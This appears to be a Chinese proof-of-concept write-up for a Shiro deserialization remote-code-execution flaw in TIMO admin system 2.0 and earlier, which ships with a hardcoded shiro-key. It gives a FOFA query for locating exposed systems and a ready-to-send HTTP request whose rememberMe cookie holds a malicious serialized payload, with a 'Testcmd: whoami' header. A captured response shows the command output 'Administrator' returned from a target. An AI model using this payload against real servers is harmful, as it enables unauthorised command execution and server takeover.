

# T7-1TIMO-后台管理系统-反序列化RCE

## 漏洞描述：

TIMO 后台管理系统2.0及之前版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="TIMO后台管理系统"

## 漏洞复现：

### payload:

```
GET /login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: rememberMe=BaBTqXjRCAeunEoyck90V28hjwrf181lk1A+MvH49cIndYJNbOyBqi0LYwteXi7gITfe4jMWt5u7spLW4AYwBG/s1fcJLAk2W3GW1RDxWytCigs3Y31jTuNqb712r5L2h8v4T6JI40r+1psZggE8+c
Testcmd: whoami
Accept-Encoding: gzip
```

### 效果图：

Request

&lt; &gt; 数据包扫描 热加载 构造请求

```
1 GET /login HTTP/1.1
2 Host : 192.168.1.182
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
4 Cookie: rememberMe=BaBTqXjRCAeunEoyck90V28hjwrF1811k1A
  +MvH49cIndYJNbOyBqi0LYwteXi7gITfe4jMwt5u7spLW4AYwBG/
  s1fcJLak2W3GW1RDxwlytC1gs3Y31jTuNqb712r5L2h8v4T6J14Or+1psZgqE8+oOGGd1k/2zBxP+6PZnt5kLZzWea6oI/
  QFpRSdvHmRgowTbe5JRmdMcjAsz1Gr/WokKG0
  +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
```

Responses 2093bytes / 134ms

```
1 HTTP/1.1 200
2 Date: Wed, 06 Dec 2023 17:20:11 GMT
3 Content-Length: 2093
4
5 Administrator
6 <!DOCTYPE html>
7 <html>
8 <head>
9   <meta charset="utf-8">
10  <meta name="renderer" content="webkit">
11  <meta http-equiv="X-UA-Compatible" content="IE=edge">
12  <meta name="viewport" content="width=device-width, initial-scale=1">
13  <meta name="description" content="后台管理系统">
14  <meta name="keywords" content="Shiro">
15
16  <title>????</title>
17
18  <link rel="shortcut icon" href="/static/img/favicon.ico">
19  <link rel="stylesheet" href="/static/css/main.css" media="all">
20  <link rel="stylesheet" href="/static/css/login.css">
21  <link rel="stylesheet" href="/static/css/reset.css">
22 </head>
23 <body class="layui-layout-login">
24 <div class="login-bg">
25   <div class="cover"></div>
26 </div>
27 <div class="login-content">
28   <h1 class="login-box-title">
29     <form class="layui-form">
30       <div class="layui-form">
```